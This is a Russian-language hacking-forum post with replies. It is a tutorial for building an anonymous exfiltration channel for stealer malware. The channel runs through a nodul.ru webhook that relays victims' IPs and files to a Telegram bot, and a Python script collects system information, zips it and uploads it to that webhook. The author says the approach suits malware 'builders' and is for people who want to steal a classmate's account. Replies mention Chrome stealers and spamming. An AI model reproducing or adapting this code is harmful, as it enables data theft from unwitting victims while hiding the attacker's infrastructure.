(была бы тут чья то реклама....) (решил сделать когда увидел тему о том, что в тг раскидывают *******ы с отстуком в дискорд напрямую, вот задумался вчера вечером и так и не смог спать, искал темы на эту тему но так и ненашел) Будем делать вебхук на специальную платформу для вебхуков и оттуда уже будет работа с токенами и айдишниками, так что в билде ваших данных не будет, ну чтож, к самому главному: Действия на платформе регистрируемся на платформе https://app.nodul.ru/ создаем сценарий такого вида(дизайн там на русском и несложный, так что без лишнего контекста): (небуду вдаваться в подробности создания тг бота и получения токена с айди) в блок javascript добавляем код и в код вставляем ваши токены и айди(незабудьте начать диалог с ботом): import axios from 'axios'; import FormData from 'form-data'; import fs from 'fs'; export default async function run({ execution_id, data }) { // Получаем параметры пользователя const TELEGRAM_BOT_TOKEN = ' token телеграмм бота'; const CHAT_ID = 'ваш чат id'; // Получаем сообщение и файл из тела вебхука const ip = data["{{1.body.ip}}"]; const filePath = data["{{1.body.file}}"]; // Путь к файлу на устройстве // Формируем сообщение для отправки const telegramMessage = ` Новое сообщение из вебхука: - новый лог с ip: ${ip || 'Нету у него айпи, в пещере живет'} `; // Отправка сообщения в Telegram try { // Сначала отправляем текстовое сообщение await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, { chat_id: CHAT_ID, text: telegramMessage, }); // Если файл есть, отправляем его if (filePath) { const form = new FormData(); form.append('chat_id', CHAT_ID); form.append('document', fs.createReadStream(filePath)); // Чтение файла с устройства await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendDocument`, form, { headers: { ...form.getHeaders(), }, }); } } catch (error) { console.error('Ошибка при отправке сообщения в Telegram:', error.response ? error.response.data : error.message); return { status: 'error', message: 'Не удалось отправить сообщение в Telegram', execution_id: execution_id, }; } // Возврат результата return { status: 'success', message: `Сообщение и файл отправлены в Telegram.`, execution_id: execution_id, }; } JS import axios from 'axios'; import FormData from 'form-data'; import fs from 'fs'; export default async function run({ execution_id, data }) { // Получаем параметры пользователя const TELEGRAM_BOT_TOKEN = ' token телеграмм бота'; const CHAT_ID = 'ваш чат id'; // Получаем сообщение и файл из тела вебхука const ip = data["{{1.body.ip}}"]; const filePath = data["{{1.body.file}}"]; // Путь к файлу на устройстве // Формируем сообщение для отправки const telegramMessage = ` Новое сообщение из вебхука: - новый лог с ip: ${ip || 'Нету у него айпи, в пещере живет'} `; // Отправка сообщения в Telegram try { // Сначала отправляем текстовое сообщение await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, { chat_id: CHAT_ID, text: telegramMessage, }); // Если файл есть, отправляем его if (filePath) { const form = new FormData(); form.append('chat_id', CHAT_ID); form.append('document', fs.createReadStream(filePath)); // Чтение файла с устройства await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendDocument`, form, { headers: { ...form.getHeaders(), }, }); } } catch (error) { console.error('Ошибка при отправке сообщения в Telegram:', error.response ? error.response.data : error.message); return { status: 'error', message: 'Не удалось отправить сообщение в Telegram', execution_id: execution_id, }; } // Возврат результата return { status: 'success', message: `Сообщение и файл отправлены в Telegram.`, execution_id: execution_id, }; } далее нажимаем на "запустить один раз, протестируйте свой сценарий" и ставите 2 ключа в body (и уберите ключи в других) : для проверки можете нажать на кнопку "отправить запрос" если у вас в телеграмме появилось саобщение, то все прекрасно! теперь копируем url вашего хука: робота с питоном теперь создадим питон файл: import os import platform import psutil import zipfile import requests import socket # Получение информации о системе data = [] # Информация о текущем рабочем каталоге current_directory = os.getcwd() data.append(f"Текущий рабочий каталог: {current_directory}") # Информация о системе data.append(f"Операционная система: {platform.system()}") data.append(f"Версия ОС: {platform.release()}") # Получение IP-адреса hostname = socket.gethostname() ip_address = socket.gethostbyname(hostname) data.append(f"IP-адрес: {ip_address}") # Информация о загрузке процессора cpu_usage = psutil.cpu_percent(interval=1) data.append(f"Загрузка процессора: {cpu_usage}%") # Информация о памяти memory_info = psutil.virtual_memory() data.append(f"Доступная память: {memory_info.available / (1024 ** 2):.2f} MB") # В МБ # Запись данных в текстовый файл text_file_path = os.path.join(current_directory, "system_info.txt") with open(text_file_path, "w") as f: for line in data: f.write(line + "\n") # Создание ZIP-архива zip_file_path = os.path.join(current_directory, "system_info.zip") with zipfile.ZipFile(zip_file_path, "w") as zipf: zipf.write(text_file_path, arcname="system_info.txt") # Указываем имя файла в архиве print(f"Информация о системе записана в ZIP-архив: {zip_file_path}") # Отправка ZIP-файла на сервер url = "сыллка на ваш вэбхук" with open(zip_file_path, 'rb') as f: files = { "file": (os.path.basename(zip_file_path), f, "application/zip") # Указываем правильный MIME-тип } data = { "ip": (ip_address) } response = requests.post(url, files=files, data=data) # Проверка ответа if response.status_code == 200: print("Файл успешно загружен.") else: print("Ошибка при загрузке файла:", response.status_code) Python import os import platform import psutil import zipfile import requests import socket # Получение информации о системе data = [] # Информация о текущем рабочем каталоге current_directory = os.getcwd() data.append(f"Текущий рабочий каталог: {current_directory}") # Информация о системе data.append(f"Операционная система: {platform.system()}") data.append(f"Версия ОС: {platform.release()}") # Получение IP-адреса hostname = socket.gethostname() ip_address = socket.gethostbyname(hostname) data.append(f"IP-адрес: {ip_address}") # Информация о загрузке процессора cpu_usage = psutil.cpu_percent(interval=1) data.append(f"Загрузка процессора: {cpu_usage}%") # Информация о памяти memory_info = psutil.virtual_memory() data.append(f"Доступная память: {memory_info.available / (1024 ** 2):.2f} MB") # В МБ # Запись данных в текстовый файл text_file_path = os.path.join(current_directory, "system_info.txt") with open(text_file_path, "w") as f: for line in data: f.write(line + "\n") # Создание ZIP-архива zip_file_path = os.path.join(current_directory, "system_info.zip") with zipfile.ZipFile(zip_file_path, "w") as zipf: zipf.write(text_file_path, arcname="system_info.txt") # Указываем имя файла в архиве print(f"Информация о системе записана в ZIP-архив: {zip_file_path}") # Отправка ZIP-файла на сервер url = "сыллка на ваш вэбхук" with open(zip_file_path, 'rb') as f: files = { "file": (os.path.basename(zip_file_path), f, "application/zip") # Указываем правильный MIME-тип } data = { "ip": (ip_address) } response = requests.post(url, files=files, data=data) # Проверка ответа if response.status_code == 200: print("Файл успешно загружен.") else: print("Ошибка при загрузке файла:", response.status_code) запускаем файл и если всё хорошо то вам в телеграмм придет примерно такой отстук: кому непонятно сам код отстука с файлом вот: # Отправка ZIP-файла на сервер url = "сыллка на ваш вэбхук" with open(zip_file_path, 'rb') as f: files = { "file": (os.path.basename(zip_file_path), f, "application/zip") } data = { "ip": (ip_address) } response = requests.post(url, files=files, data=data) Python # Отправка ZIP-файла на сервер url = "сыллка на ваш вэбхук" with open(zip_file_path, 'rb') as f: files = { "file": (os.path.basename(zip_file_path), f, "application/zip") } data = { "ip": (ip_address) } response = requests.post(url, files=files, data=data) код и эту концепцию можно модернизировать, использовать в билдерах и тд, парс данных из системы был лишь для более наглядного примера что данные можно передавать так а теперь что мы получаем? бесплатный вэбхук( на бесплатной регистрации 300 запросов) анонимный вэбхук(в билде нету данных или адреса на нашу "панель") для кого это? скорее всего для людей у которых нету денег на хостинг, но спиздить акк у одноклассника охота принципе как бесплатный и безопасный вариант без сервера это довольно не плохо как по мне также можно добавить обновление сыллки вэбхука после первого лога но мне было лень или просто добавить большое количество вэбхуков, но для понимая как работает достаточно одного пример несколько вебхуков спасибо за прочтение, если у вас есть вопросы, то с радостью на них отвечу! (если тема актуальна и полезна то допилю функционал)
Kozhevnikov, ВООООТ для чего статейка нужна, чтобы такого не было, делал статью чтобы избежать вот таких ситуаций
DOKAeth, 131 хром напишет каждый еблан, только совсем умственно отсталые его не сделают, да, Абрахам?)
да прикольная штука, но один хуй поспамить в лс можно, хотя он может и выключить, но и **** ему тогда не буду поступать), так что как всегда по старой теме, сначала на сервер, а потом сделать отправку у телеграмм